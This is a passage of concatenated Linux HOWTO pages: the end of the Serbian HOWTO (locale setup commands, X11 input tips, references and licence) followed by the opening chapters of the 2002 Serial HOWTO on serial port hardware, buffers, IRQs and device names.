localedef -c -i sv_FI -f ISO-8859-1 sv_FI
localedef -c -i ro_RO -f ISO-8859-1 ro_RO
localedef -c -i pt_PT -f ISO-8859-1 pt_PT
localedef -c -i no_NO -f ISO-8859-1 no_NO
localedef -c -i nl_NL -f ISO-8859-1 nl_NL
localedef -c -i fr_BE -f ISO-8859-1 fr_BE
localedef -c -i nl_BE -f ISO-8859-1 nl_BE
localedef -c -i da_DK -f ISO-8859-1 da_DK
localedef -c -i kl_GL -f ISO-8859-1 kl_GL
localedef -c -i it_IT -f ISO-8859-1 it_IT
localedef -c -i is_IS -f ISO-8859-1 is_IS
localedef -c -i fr_LU -f ISO-8859-1 fr_LU
localedef -c -i fr_FR -f ISO-8859-1 fr_FR
localedef -c -i de_DE -f ISO-8859-1 de_DE
localedef -c -i de_CH -f ISO-8859-1 de_CH
localedef -c -i fr_CH -f ISO-8859-1 fr_CH
localedef -c -i en_CA -f ISO-8859-1 en_CA
localedef -c -i fr_CA -f ISO-8859-1 fr_CA
localedef -c -i fo_FO -f ISO-8859-1 fo_FO
localedef -c -i et_EE -f ISO-8859-1 et_EE
localedef -c -i es_ES -f ISO-8859-1 es_ES
localedef -c -i en_US -f ISO-8859-1 en_US
localedef -c -i en_GB -f ISO-8859-1 en_GB
localedef -c -i en_IE -f ISO-8859-1 en_IE
localedef -c -i de_LU -f ISO-8859-1 de_LU
localedef -c -i de_BE -f ISO-8859-1 de_BE
localedef -c -i de_AT -f ISO-8859-1 de_AT
localedef -c -i sl_SI -f ISO-8859-2 sl_SI
localedef -c -i ru_RU -f ISO-8859-5 ru_RU
localedef -c -i pl_PL -f ISO-8859-2 pl_PL
localedef -c -i lv_LV -f BALTIC lv_LV
localedef -c -i lt_LT -f BALTIC lt_LT
localedef -c -i iw_IL -f ISO-8859-8 iw_IL
localedef -c -i hu_HU -f ISO-8859-2 hu_HU
localedef -c -i hr_HR -f ISO-8859-2 hr_HR
localedef -c -i gr_GR -f ISO-8859-7 gr_GR

    9.

Next
Previous
Contents


Serbian HOWTO: Korisni saveti za programiranje sa X11

 Next Previous Contents

8. Korisni saveti za programiranje sa X11

Prikazivanje 8-bitnih znakova je vrlo lako. Koristite ih isto kao sto biste koristili 7-bitni ASCII skup znakova. Medjutim, da bi aplikacija prihvatila unos 8-bitnih znakova predstavlja totalno drugu pricu.

Ako koristite na pr. Xt okruzenje i Motif, treba da dodate samo jednu liniju u vas program. Prvi poziv Xt biblioteci treba da bude procedura XtSetLanguageProc. Na primer:

int main (int argc, char** argv)
{
        ...
        XtSetLanguageProc (NULL, NULL, NULL);
        top = XtAppInitialize ( ... );
        ...
}
Posle ovog vas program ce automatski da uzima u obzir LC_CTYPE promenljivu i tumaci tastere prema Compose tabelama u /usr/lib/X11/locale/ direktorijumu. Ovo bi trebalo da radi za gotovo sve evropske jezike i u celini je prenosivo. Kako XFree86 visejezicna podrska postaje bolja, tako ce vas program biti korisniji i na Bliskom i Srednjem istoku.

Ovaj metod unosa podrzavaju Xt, Xlib i Motif v1.2 (i noviji). Prema podacima kojima raspolazem, Xaw biblioteka ga samo delimicno podrzava. Ako znate nesto vise u vezi sa ovim, voleo bih da mi napisete koji red putem elektronske poste :) .

Ovo poglavlje je sastavljeno na osnovu obimnije diskusije u delu Programming for internationalization Majkla Gsvinda [Michael Gschwind]. Pogledajte poglavlje 9, Reference i FTP sajtovi za pokazivac na ovaj dokument.


Serbian HOWTO: Vazne reference i FTP sajtovi

 Next Previous Contents

9. Vazne reference i FTP sajtovi

9.1 Ostale reference od znacaja

Ovaj dokument bi trebalo da je na raspolaganju na svim racunarima koji drze kopiju sajta sunsite.unc.edu i tsx-11.mit.edu. Srpski sajt mozete naci na adresi http://www.linux.org.yu/sr/ .

German HOWTO (na nemackom) napisao Winfred Truemper. Mnogi nacionalni HOWTO dokumenti (finski, poljski, slovenacki) su raspolozivi na odgovarajucim jezicima.

Linux Keyboard and Console HOWTO napisao Andries Brouwer.

Locales mini-HOWTO napisao Peeter Joot.

Dokumenti ISO 8859-1 National Character Set FAQ i Programming for Internationalization (i mnogo vise) koje je napisao Michael Gschwind raspolozivi su na njegovoj prezentaciji http://www.visivie.tuwien.ac.at/mike/i18n.html

9.2 Linux u Jugoslaviji

Harald T. Alvestrand iz Norveske vodi evidenciju o korisnicima Linuxa po drzavama. Spisak srpskih (ili jugoslovenskih) korisnika je na

http://domen.uninett.no:29659/bycountry/YU.html
Ako niste medju njima, prijavite se - odmah!
http://domen.uninett.no:29659/
Od leta 1997. u Beogradu je organizovano Udruzenje korisnika Linuksa u Jugoslaviji (LUGY - Linux Users Group of Yugoslavia). Udruzenje ima svoju prezentaciju na
http://www.linux.org.yu
Jugoslovenska grupa LUGY ima, kao sto i dolikuje, svoju diskusionu listu! Na nju se mozete prijaviti ako na adresu majordomo@beocity.com posaljete poruku subscribe linux u telu poruke. U momentu dok ovo citate, moguce je da je pretplata na diskusionu listu prebacena na "pravo" mesto, tj. na majordomo@linux.org.yu, no, to ostavljam vama da proverite.

9.3 FTP sajtovi

U vreme pisanja ovog dokumenta, autoru su bila poznata dva FTP sajta posvecena Linuksu i srpskim podesavanjima:

ftp://ftp.emi.yu/pub/Linux
http://www.linux.org.yu/sr/utils/

9.4 USENET diskusione liste

Kada je o USENET-u rec, postoji diskusiona grupa yu.os.unix u kojoj se, pored ostalog, raspravlja i o Linuksu. Jedan od news servera, preko koga mozete da citate clanke, jeste i:

news.beotel.net


Serbian HOWTO: Epilog

 Next Previous Contents

10. Epilog

10.1 Posveta

Ovaj dokument je posvecen uspomeni na Milenu Rogulj ("teta-Milenu"), dragu prijateljicu koju mi je smrt prerano otela.

10.2 Logicno pitanje... i logican odgovor

Deo ovog dokumenta govori o namestanju nasih slova na Linuksu, ali ovde ih nema. Kako to?

Pretpostavlja se da je ovaj dokument prvi u nizu dokumenata na srpskom jeziku koga ce procitati novopeceni korisnik Linuksa. S obzirom da, kao takav, ne raspolaze znanjem koje je potrebno da namesti nasa slova, ovaj dokument ih ne koristi jer bi nas novopeceni korisnik video samo "kuke i kvake".

10.3 Zahvalnice

Hvala:

  • Svim pretplatnicima srpske "linux" diskusione liste na korisnim predlozima (linux@beocity.com),
  • Matu Velsu, autoru Linux Installation and Getting Started,
  • Ajenu Dzeksonu, autoru Linux frequently asked questions with answers, i posebno
  • Linusu Torvaldsu i GNU-u koji su nam dali Linuks.

10.4 Izjava o odricanju od odgovornosti

Ovaj dokument je "takav kakav je". Ulozeno je puno truda da bude sto bolji, ali ove informacije koristite na sopstvenu odgovornost. Ni u kom slucaju autor ovog teksta ne preuzima odgovornost za bilo kakve stete, posredne ili neposredne, nastale koriscenjem saveta iz dokumenta.

Suvisle primedbe su dobrodosle. Slobodno mi posaljite predloge za poboljsanja, kao i uocene nepravilnosti. Argumentovana (i jos jednom: ARGUMENTOVANA!) kritika je dobrodosla. Pohvale ce biti sacuvane na posebnoj disketi. Sve ostalo ce bez milosti zavrsiti u /dev/null.

10.5 Autorska prava

Ako nije drugacije napomenuto, autorska prava na Linux HOWTO dokumente poseduju njihovi autori. HOWTO dokumenti mogu se reprodukovati i distribuirati u celini ili delimicno, na fizickom ili elektronskom mediju, sve dok je ovo obavestenje prisutno na svim primercima. Komercijalna distribucija dozvoljena je i podrzava se; medjutim, autor ovog dokumenta bi o takvom distribuiranju zeleo da bude obavesten.

Svi prevodi, izvedeni ili sazeti radovi koji ukljucuju Linux HOWTO dokumente moraju biti pod ovom licencom. Dakle, nije vam dozvoljeno da napravite rad izveden iz HOWTO-a i da namecete dodatna ogranicenja na njegovu distribuciju. Izuzeci od ovog pravila moguci su pod odredjenim uslovima; kontaktirajte Linux HOWTO koordinatora na nize navedenoj adresi.

Ukratko, mi, prevodioci HOWTO dokumenata na srpski zelimo da ohrabrimo sirenje ovih informacija kroz sto je moguce vise kanala. Medjutim, zelimo da zadrzimo autorska prava na HOWTO dokumente i zeleli bismo da budemo obavesteni o bilo kakvim namerama u vezi sa redistribuicijom svih srpskih HOWTO dokumenata.

Ako imate pitanja, kontaktirajte Tima Bajnuma [Tim Bynum], Linux HOWTO koordinatora, na linux-howto@sunsite.unc.edu.

10.6 A note to English readers

This document is a copyrighted work. Its use in part or as whole, for non-profit or for-profit purposes, and its dissemination in any form, either printed or electronic is explicitelly allowed, as long as the above copyright notice is retained on all copies. Its suggested citation is

Serbian-HOWTO Copyright (C) 1998 by Zoltan Csala http://www.linux.org.yu/sr/howto/Serbian-HOWTO
Single copies of any document citing this guide would be much appreciated.

The information in this document is provided in belief of being accurate and useful, however without any warranty, expressed or implied, including, but not limited to, the implied warranties of merchantibility or fitness for a particular purpose. The entire risk of using the information goes with the user. The author can not be liable for any possible damage, direct or indirect, arising from the use of information provided in this document.


Serial HOWTO

David S.Lawyer dave@lafn.org original by Greg Hankins

v2.16 March 2002

This document describes serial port features other than those which should be covered by Modem-HOWTO, PPP-HOWTO, Serial-Programming-HOWTO, or Text-Terminal-HOWTO. It does not cover the Universal Serial Bus (see the kernel documentation for USB). It lists info on multiport serial cards. It contains technical info about the serial port itself in more detail than found in the above HOWTOs and should be best for troubleshooting when the problem is the serial port itself. If you are dealing with a Modem, PPP (used for Internet access on a phone line), or a Text-Terminal, those HOWTOs should be consulted first.

1. Introduction

  • 1.1 Copyright, Disclaimer, & Credits
  • 1.2 New Versions of this Serial-HOWTO
  • 1.3 Related HOWTO's re the Serial Port
  • 1.4 Feedback
  • 1.5 What is a Serial Port?

2. How the Hardware Transfers Bytes

  • 2.1 Transmitting
  • 2.2 Receiving
  • 2.3 The Large Serial Buffers

3. Serial Port Basics

  • 3.1 What is a Serial Port ?
  • 3.2 IO Address & IRQ
  • 3.3 Names: ttyS0, ttyS1, etc.
  • 3.4 Interrupts
  • 3.5 Data Flow (Speeds)
  • 3.6 Flow Control
  • 3.7 Data Flow Path; Buffers
  • 3.8 Complex Flow Control Example
  • 3.9 Serial Driver Module

4. Is the Serial Port Obsolete?

  • 4.1 Introduction
  • 4.2 EIA-232 Cable Is Low Speed & Short Distance
  • 4.3 Inefficient Interface to the Computer

5. Multiport Serial Boards/Cards/Adapters

  • 5.1 Intro to Multiport Serial
  • 5.2 Modem Limitations
  • 5.3 Dumb vs. Smart Cards
  • 5.4 Getting/Enabling a Driver
  • 5.5 Making multiport devices in the /dev directory
  • 5.6 Standard PC Serial Cards
  • 5.7 Dumb Multiport Serial Boards (with standard UART chips)
  • 5.8 Intelligent Multiport Serial Boards
  • 5.9 Unsupported Multiport Boards

6. Configuring Overview

7. Locating the Serial Port: IO address, IRQs

  • 7.1 IO & IRQ Overview
  • 7.2 PCI Bus Support
  • 7.3 Common mistakes made re low-level configuring
  • 7.4 IRQ & IO Address Must be Correct
  • 7.5 What is the IO Address and IRQ per the driver ?
  • 7.6 What is the IO Address & IRQ of my Serial Port Hardware?
  • 7.7 Choosing Serial IRQs
  • 7.8 Choosing Addresses --Video card conflict with ttyS3
  • 7.9 Set IO Address & IRQ in the hardware (mostly for PnP)
  • 7.10 Giving the IRQ and IO Address to Setserial

8. Configuring the Serial Driver (high-level) "stty"

  • 8.1 Overview
  • 8.2 Flow Control

9. Serial Port Devices /dev/ttyS2, etc.

  • 9.1 Devfs (The new Device File System)
  • 9.2 Serial Port Device Names & Numbers
  • 9.3 USB (Universal Serial Bus) Ports
  • 9.4 Link ttySN to /dev/modem
  • 9.5 Which Connector on the Back of my PC is ttyS1, etc?
  • 9.6 Creating Devices In the /dev directory

10. Interesting Programs You Should Know About

  • 10.1 Serial Monitoring/Diagnostics Programs
  • 10.2 Changing Interrupt Priority
  • 10.3 What is Setserial ?
  • 10.4 Stty
  • 10.5 What is isapnp ?
  • 10.6 What is slattach?

11. Speed (Flow Rate)

  • 11.1 Can't Set a High Enough Speed
  • 11.2 Higher Serial Throughput

12. Locking Out Others

  • 12.1 Introduction
  • 12.2 Lock-Files
  • 12.3 Lock-Files and devfs Problems
  • 12.4 Change Owners, Groups, and/or Permissions of Device Files

13. Communications Programs And Utilities

  • 13.1 List of Software
  • 13.2 kermit and zmodem

14. Serial Tips And Miscellany

  • 14.1 Serial Module
  • 14.2 Serial Console (console on the serial port)
  • 14.3 Line Drivers
  • 14.4 Stopping the Data Flow when Printing, etc.
  • 14.5 Known Defective Hardware

15. Troubleshooting

  • 15.1 Serial Electrical Test Equipment
  • 15.2 Serial Monitoring/Diagnostics
  • 15.3 (The following subsections are in both the Serial and Modem HOWTOs)
  • 15.4 My Serial Port is Physically There but Can't be Found
  • 15.5 Extremely Slow: Text appears on the screen slowly after long delays
  • 15.6 Somewhat Slow: I expected it to be a few times faster
  • 15.7 The Startup Screen Show Wrong IRQs for the Serial Ports.
  • 15.8 "Cannot open /dev/ttyS?: Permission denied"
  • 15.9 "Operation not supported by device" for ttyS?
  • 15.10 "Cannot create lockfile. Sorry"
  • 15.11 "Device /dev/ttyS? is locked."
  • 15.12 "/dev/tty? Device or resource busy"
  • 15.13 "Input/output error" from setserial or stty
  • 15.14 Overrun errors on serial port
  • 15.15 Port get characters only sporadically
  • 15.16 Troubleshooting Tools

16. Interrupt Problem Details

  • 16.1 Types of interrupt problems
  • 16.2 Symptoms of Mis-set or Conflicting Interrupts
  • 16.3 Mis-set Interrupts
  • 16.4 Interrupt Conflicts
  • 16.5 Resolving Interrupt Problems

17. What Are UARTs? How Do They Affect Performance?

  • 17.1 Introduction to UARTS
  • 17.2 Two Types of UARTs
  • 17.3 FIFOs
  • 17.4 Why FIFO Buffers are Small
  • 17.5 UART Model Numbers

18. Pinout and Signals

  • 18.1 Pinout
  • 18.2 Signals May Have No Fixed Meaning
  • 18.3 Cabling Between Serial Ports
  • 18.4 RTS/CTS and DTR/DSR Flow Control
  • 18.5 Preventing a Port From Opening

19. Voltage Waveshapes

  • 19.1 Voltage for a Bit
  • 19.2 Voltage Sequence for a Byte
  • 19.3 Parity Explained
  • 19.4 Forming a Byte (Framing)
  • 19.5 How "Asynchronous" is Synchronized

20. Other Serial Devices (not async EIA-232)

  • 20.1 Successors to EIA-232
  • 20.2 EIA-422-A (balanced) and EIA-423-A (unbalanced)
  • 20.3 EIA-485
  • 20.4 EIA-530
  • 20.5 EIA-612/613
  • 20.6 The Universal Serial Bus (USB)
  • 20.7 Firewire
  • 20.8 MIDI
  • 20.9 Synchronization & Synchronous

21. Other Sources of Information

  • 21.1 Books
  • 21.2 Serial Software
  • 21.3 Related Linux Documents
  • 21.4 Usenet newsgroups:
  • 21.5 Serial Mailing List
  • 21.6 Internet

22. Appendix: Obsolete Hardware (prior to 1990) Info

  • 22.1 Replacing obsolete UARTS


Serial HOWTO: Introduction

 Next Previous Contents

1. Introduction

This HOWTO covers basic info on the Serial Port and multiport serial cards. Information specific to modems and text-terminals has been moved to Modem-HOWTO and Text-Terminal-HOWTO. Info on getty (the program that runs the login process or the like) has been also moved to these HOWTOs since mgetty and uugetty are best for modems while agetty is best for text-terminals. If you are dealing with a modem, text terminal, or printer, then you may not need to consult this HOWTO. But if you are using the serial port for some other device, using a multiport serial card, trouble-shooting the serial port itself, or want to understand more technical details of the serial port, then you may want to use this HOWTO as well as some of the other HOWTOs. (See Related HOWTO's) This HOWTO lists info on various multiport serial cards since they may be used for either modems or text-terminals. This HOWTO addresses Linux running on PCs (ISA or PCI buses), although it might be valid for other architectures.

1.1 Copyright, Disclaimer, & Credits

Copyright

Copyright (c) 1993-1997 by Greg Hankins, (c) 1998-2001 by David S. Lawyer mailto:dave@lafn.org

Please freely copy and distribute (sell or give away) this document in any format. Send any corrections and comments to the document maintainer. You may create a derivative work and distribute it provided that you:

  1. If it's not a translation: Email a copy of your derivative work (in a format LDP accepts) to the author(s) and maintainer (could be the same person). If you don't get a response then email the LDP (Linux Documentation Project): submit@linuxdoc.org.
  2. License the derivative work in the spirit of this license or use GPL. Include a copyright notice and at least a pointer to the license used.
  3. Give due credit to previous authors and major contributors.

If you're considering making a derived work other than a translation, it's requested that you discuss your plans with the current maintainer.

Disclaimer

While I haven't intentionally tried to mislead you, there are likely a number of errors in this document. Please let me know about them. Since this is free documentation, it should be obvious that I cannot be held legally responsible for any errors.

Trademarks.

Any brand names (starts with a capital letter) should be assumed to be a trademark). Such trademarks belong to their respective owners.

Credits

Most of the original Serial-HOWTO was written by Greg Hankins. mailto:gregh@twoguys.org He also rewrote many contributions by others in order to maintain continuity in the writing style and flow. He wrote: ``Thanks to everyone who has contributed or commented, the list of people has gotten too long to list (somewhere over one hundred). Special thanks to Ted Ts'o for answering questions about the serial drivers.'' Approximately half of v2.00 was from Greg Hankins HOWTO and the other half is by David Lawyer. Ted Ts'o has continued to be helpful.

1.2 New Versions of this Serial-HOWTO

New versions of the Serial-HOWTO will be available to browse and/or download at LDP mirror sites. For a list of mirror sites see: http://www.linuxdoc.org/mirrors.html. Various formats are available. If you only want to quickly check the date of the latest version look at http://www.linuxdoc.org/HOWTO/Serial-HOWTO.html and compare it to this version: v2.16 March 2002 . New in recent versions:
v2.16 March 2002 fixed a few broken links. v2.15 November 2001: mention of MIDI ports, problems with lockfiles for devfs v2.14 August 2001: major revision of Configuring the Serial Port v2.13 August 2001: fixed typos: done->down and "is is", USRT chip, synchronous defined better v2.12 July 2001: serial printing under LPRng
v2.11 May 2001: stty 0 => hangup (was ok in v2.08. ) v2.10 EIA-485, frame errors on networks, gkermit, firewire

1.3 Related HOWTO's re the Serial Port

Modems, Text-Terminals, some printers, and other peripherals often use the serial port. Get these HOWTOs from the nearest mirror site as explained above.

  • Modem-HOWTO is about installing and configuring modems
  • Printing-HOWTO has info for serial printers using old lpr command
  • LPRng-HOWTO (not a LDP HOWTO, may come with software) has info for serial printing for "Next Generation" lpr
  • Serial-Programming-HOWTO helps you write C programs (or parts of them) that read and write to the serial port and/or check/set its state. A new version has been written by Vern Hoxie but not submitted. A copy is at Internet.
  • Text-Terminal-HOWTO is about how they work, how to install configure, and repair them. It includes a section on "Make a Terminal the Console" which is useful for using a remote terminal to control a server (via the serial port).

1.4 Feedback

Please send me any questions, comments, suggestions, or additional material. I'm always eager to hear about what you think about this HOWTO. I'm also always on the lookout for improvements! Tell me exactly what you don't understand, or what could be clearer. You can reach me via email at mailto:dave@lafn.org (David Lawyer).

1.5 What is a Serial Port?

The conventional serial port (not the newer USB port, or HSSI port) is a very old I/O port. Almost all PC's have them. But Macs (Apple Computer) after mid 1998 (with colored cases) only have the USB port. It's possible, however, to put a conventional serial port device on the USB.

The common specification for the conventional serial port is RS-232 (or EIA-232). The connector for the serial port is often seen as one or two 9-pin connectors (in some cases 25-pin) on the back of a PC. But the serial port is more than just that. It includes the associated electronics which must produce signals conforming to the EIA-232 specification. See Voltage Waveshapes. One pin is used to send out data bytes and another to receive data bytes. Another pin is a common signal ground. The other "useful" pins are used mainly for signalling purposes with a steady negative voltage meaning "off" and a steady positive voltage meaning "on".

The UART (Universal Asynchronous Receiver-Transmitter) chip does most of the work. Today, the functionality of this chip is usually built into another chip. See What Are UARTs? These have improved over time and old models (several years old) are now obsolete.

The serial port was originally designed for connecting modems but it's used to connect many other devices also such as mice, text-terminals, some printers, etc. to a computer. You just plug these devices into the serial port using the correct cable. Many internal modem cards have a built-in serial port so when you install one inside your PC it's as if you just installed another serial port in your PC.


Serial HOWTO: How the Hardware Transfers Bytes

 Next Previous Contents

2. How the Hardware Transfers Bytes

Below is an introduction to the topic, but for a more advanced treatment of it see FIFOs.

2.1 Transmitting

Transmitting is sending bytes out of the serial port away from the computer. Once you understand transmitting, receiving is easy to understand since it's similar. The first explanation given here will be grossly oversimplified. Then more detail will be added in later explanations. When the computer wants to send a byte out the serial port (to the external cable) the CPU sends the byte on the bus inside the computer to the I/O address of the serial port. The serial port takes the byte, and sends it out one bit at a time (a serial bit-stream) on the transmit pin of the serial cable connector. For what a bit (and byte) look like electrically see Voltage Waveshapes.

Here's a replay of the above in a little more detail (but still very incomplete). Most of the work at the serial port is done by the UART chip (or the like). To transmit a byte, the serial device driver program (running on the CPU) sends a byte to the serial port"s I/O address. This byte gets into a 1-byte "transmit shift register" in the serial port. From this shift register bits are taken from the byte one-by-one and sent out bit-by-bit on the serial line. Then when the last bit has been sent and the shift register needs another byte to send it could just ask the CPU to send it another byte. Thus would be simple but it would likely introduce delays since the CPU might not be able to get the byte immediately. After all, the CPU is usually doing other things besides just handling the serial port.

A way to eliminate such delays is to arrange things so that the CPU gets the byte before the shift register needs it and stores it in a serial port buffer (in hardware). Then when the shift register has sent out its byte and needs a new byte immediately, the serial port hardware just transfers the next byte from its own buffer to the shift register. No need to call the CPU to fetch a new byte.

The size of this serial port buffer was originally only one byte, but today it is usually 16 bytes (more in higher priced serial ports). Now there is still the problem of keeping this buffer sufficiently supplied with bytes so that when the shift register needs a byte to transmit it will always find one there (unless there are no more bytes to send). This is done by contacting the CPU using an interrupt.

First we'll explain the case of the old fashioned one-byte buffer, since 16-byte buffers work similarly (but are more complex). When the shift register grabs the byte out of the buffer and the buffer needs another byte, it sends an interrupt to the CPU by putting a voltage on a dedicated wire on the computer bus. Unless the CPU is doing something very important, the interrupt forces it to stop what it was doing and start running a program which will supply another byte to the port's buffer. The purpose of this buffer is to keep an extra byte (waiting to be sent) queued in hardware so that there will be no gaps in the transmission of bytes out the serial port cable.

Once the CPU gets the interrupt, it will know who sent the interrupt since there is a dedicated interrupt wire for each serial port (unless interrupts are shared). Then the CPU will start running the serial device driver which checks registers at I/0 addresses to find out what has happened. It finds out that the serial's transmit buffer is empty and waiting for another byte. So if there are more bytes to send, it sends the next byte to the serial port's I/0 address. This next byte should arrive when the previous byte is still in the transmit shift register and is still being transmitted bit-by-bit.

In review, when a byte has been fully transmitted out the transmit wire of the serial port and the shift register is now empty the following 3 things happen almost simultaneously:

  1. The next byte is moved from the transmit buffer into the transmit shift register
  2. The transmission of this new byte (bit-by-bit) begins
  3. Another interrupt is issued to tell the device driver to send yet another byte to the now empty transmit buffer

Thus we say that the serial port is interrupt driven. Each time the serial port issues an interrupt, the CPU sends it another byte. Once a byte has been sent to the transmit buffer by the CPU, then the CPU is free to pursue some other activity until it gets the next interrupt. The serial port transmits bits at a fixed rate which is selected by the user (or an application program). It's sometimes called the baud rate. The serial port also adds extra bits to each byte (start, stop and perhaps parity bits) so there are often 10 bits sent per byte. At a rate (also called speed) of 19,200 bits per second (bps), there are thus 1,920 bytes/sec (and also 1,920 interrupts/sec).

Doing all this is a lot of work for the CPU. This is true for many reasons. First, just sending one 8-bit byte at a time over a 32-bit data bus (or even 64-bit) is not a very efficient use of bus width. Also, there is a lot of overhead in handing each interrupt. When the interrupt is received, the device driver only knows that something caused an interrupt at the serial port but doesn't know that it's because a character has been sent. The device driver has to make various checks to find out what happened. The same interrupt could mean that a character was received, one of the control lines changed state, etc.

A major improvement has been the enlargement of the buffer size of the serial port from 1-byte to 16-bytes. This means that when the CPU gets an interrupt it gives the serial port up to 16 new bytes to transmit. This is fewer interrupts to service but data must still be transferred one byte at a time over a wide bus. The 16-byte buffer is actually a FIFO (First In First Out) queue and is often called a FIFO. See FIFOs for details about the FIFO along with a repeat of some of the above info.

2.2 Receiving

Receiving bytes by a serial port is similar to sending them only it's in the opposite direction. It's also interrupt driven. For the obsolete type of serial port with 1-byte buffers, when a byte is fully received from the external cable it goes into the 1-byte receive buffer. Then the port gives the CPU an interrupt to tell it to pick up that byte so that the serial port will have room for storing the next byte which is currently being received. For newer serial ports with 16-byte buffers, this interrupt (to fetch the bytes) may be sent after 14 bytes are in the receive buffer. The CPU then stops what it was doing, runs the interrupt service routine, and picks up 14 to 16 bytes from the port. For an interrupt sent when the 14th byte has been received, there could be 16 bytes to get if 2 more bytes have arrived since the interrupt. But if 3 more bytes should arrive (instead of 2), then the 16-byte buffer will overrun. It also may pick up less than 14 bytes by setting it that way or due to timeouts. See FIFOs for more details.

2.3 The Large Serial Buffers

We've talked about small 16-byte serial port hardware buffers but there are also much larger buffers in main memory. When the CPU takes some bytes out of the receive buffer of the hardware, it puts them into a much larger (say 8k-byte) receive buffer in main memory. Then a program that is getting bytes from the serial port takes the bytes it's receiving out of that large buffer (using a "read" statement in the program). A similar situation exists for bytes that are to be transmitted. When the CPU needs to fetch some bytes to be transmitted it takes them out of a large (8k-byte) transmit buffer in main memory and puts them into the small 16-byte transmit buffer in the hardware.


Serial HOWTO: Serial Port Basics

 Next Previous Contents

3. Serial Port Basics

You don't have to understand the basics to use the serial port But understanding it may help to determine what is wrong if you run into problems. This section not only presents new topics but also repeats some of what was said in the previous section How the Hardware Transfers Bytes but in greater detail.

3.1 What is a Serial Port ?

Intro to Serial

The serial port is an I/O (Input/Output) device.

An I/O device is just a way to get data into and out of a computer. There are many types of I/O devices such as serial ports, parallel ports, disk drive controllers, ethernet boards, universal serial buses, etc. Most PC's have one or two serial ports. Each has a 9-pin connector (sometimes 25-pin) on the back of the computer. Computer programs can send data (bytes) to the transmit pin (output) and receive bytes from the receive pin (input). The other pins are for control purposes and ground.

The serial port is much more than just a connector. It converts the data from parallel to serial and changes the electrical representation of the data. Inside the computer, data bits flow in parallel (using many wires at the same time). Serial flow is a stream of bits over a single wire (such as on the transmit or receive pin of the serial connector). For the serial port to create such a flow, it must convert data from parallel (inside the computer) to serial on the transmit pin (and conversely).

Most of the electronics of the serial port is found in a computer chip (or a part of a chip) known as a UART. For more details on UARTs see the section

What Are UARTS? But you may want to finish this section first so that you will hopefully understand how the UART fits into the overall scheme of things.

Pins and Wires

Old PC's used 25 pin connectors but only about 9 pins were actually used so today most connectors are only 9-pin. Each of the 9 pins usually connects to a wire. Besides the two wires used for transmitting and receiving data, another pin (wire) is signal ground. The voltage on any wire is measured with respect to this ground. Thus the minimum number of wires to use for 2-way transmission of data is 3. Except that it has been known to work with no signal ground wire but with degraded performance and sometimes with errors.

There are still more wires which are for control purposes (signalling) only and not for sending bytes. All of these signals could have been shared on a single wire, but instead, there is a separate dedicated wire for every type of signal. Some (or all) of these control wires are called "modem control lines". Modem control wires are either in the asserted state (on) of +12 volts or in the negated state (off) of -12 volts. One of these wires is to signal the computer to stop sending bytes out the serial port cable. Conversely, another wire signals the device attached to the serial port to stop sending bytes to the computer. If the attached device is a modem, other wires may tell the modem to hang up the telephone line or tell the computer that a connection has been made or that the telephone line is ringing (someone is attempting to call in). See section Pinout and Signals for more details.

RS-232 or EIA-232, etc.

The serial port (not the USB) is usually a RS-232-C, EIA-232-D, or EIA-232-E. These three are almost the same thing. The original RS (Recommended Standard) prefix became EIA (Electronics Industries Association) and later EIA/TIA after EIA merged with TIA (Telecommunications Industries Association). The EIA-232 spec provides also for synchronous (sync) communication but the hardware to support sync is almost always missing on PC's. The RS designation is obsolete but is still widely used. EIA will be used in this howto. Some documents use the full EIA/TIA designation. For info on other (non-EIA-232) serial ports see the section Other Serial Devices (not async EIA-232)

3.2 IO Address & IRQ

Since the computer needs to communicate with each serial port, the operating system must know that each serial port exists and where it is (its I/O address). It also needs to know which wire (IRQ number) the serial port must use to request service from the computer's CPU. It requests service by sending an interrupt on this wire. Thus every serial port device must store in its non-volatile memory both its I/O address and its Interrupt ReQuest number: IRQ. See Interrupts. For the PCI bus it doesn't work exactly this way since the PCI bus has its own system of interrupts. But since the PCI-aware BIOS sets up chips to map these PCI interrupts to IRQs, it seemingly behaves just as described above except that sharing of interrupts is allowed (2 or more devices may use the same IRQ number).

I/O addresses are not the same as memory addresses. When an I/O addresses is put onto the computer's address bus, another wire is energized. This both tells main memory to ignore the address and tells all devices which have I/O addresses (such as the serial port) to listen to the address to see if it matches the device's. If the address matches, then the I/O device reads the data on the data bus.

3.3 Names: ttyS0, ttyS1, etc.

The serial ports are named ttyS0, ttyS1, etc. (and usually correspond respectively to COM1, COM2, etc. in DOS/Windows). The /dev directory has a special file for each port. Type "ls /dev/ttyS*" to see them. Just because there may be (for example) a ttyS3 file, doesn't necessarily mean that there exists a physical serial port there.

Which one of these names (ttyS0, ttyS1, etc.) refers to which physical serial port is determined as follows. The serial driver (software) maintains a table showing which I/O address corresponds to which ttyS. This mapping of names (such as ttyS1) to I/O addresses (and IRQ's) may be both set and viewed by the "setserial" command. See What is Setserial. This does not set the I/O address and IRQ in the hardware itself (which is set by jumpers or by plug-and-play software). Thus what physical port corresponds to say ttyS1 depends both on what the serial driver thinks (per setserial) and what is set in the hardware. If a mistake has been made, the physical port may not correspond to any name (such as ttyS2) and thus it can't be used. See Serial Port Devices /dev/ttyS2, etc. for more details>

3.4 Interrupts

When the serial port receives a number of bytes (may be set to 1, 4, 8, or 14) into its FIFO buffer, it signals the CPU to fetch them by sending an electrical signal known as an interrupt on a certain wire normally used only by that port. Thus the FIFO waits for a number of bytes and then issues an interrupt.

However, this interrupt will also be sent if there is an unexpected delay while waiting for the next byte to arrive (known as a timeout). Thus if the bytes are being received slowly (such as someone typing on a terminal keyboard) there may be an interrupt issued for every byte received. For some UART chips the rule is like this: If 4 bytes in a row could have been received, but none of these 4 show up, then the port gives up waiting for more bytes and issues an interrupt to fetch the bytes currently in the FIFO. Of course, if the FIFO is empty, no interrupt will be issued.

Each interrupt conductor (inside the computer) has a number (IRQ) and the serial port must know which conductor to use to signal on. For example, ttyS0 normally uses IRQ number 4 known as IRQ4 (or IRQ 4). A list of them and more will be found in "man setserial" (search for "Configuring Serial Ports"). Interrupts are issued whenever the serial port needs to get the CPU's attention. It's important to do this in a timely manner since the buffer inside the serial port can hold only 16 (1 in old serial ports) incoming bytes. If the CPU fails to remove such received bytes promptly, then there will not be any space left for any more incoming bytes and the small buffer may overflow (overrun) resulting in a loss of data bytes. There is no Flow Control to prevent this.

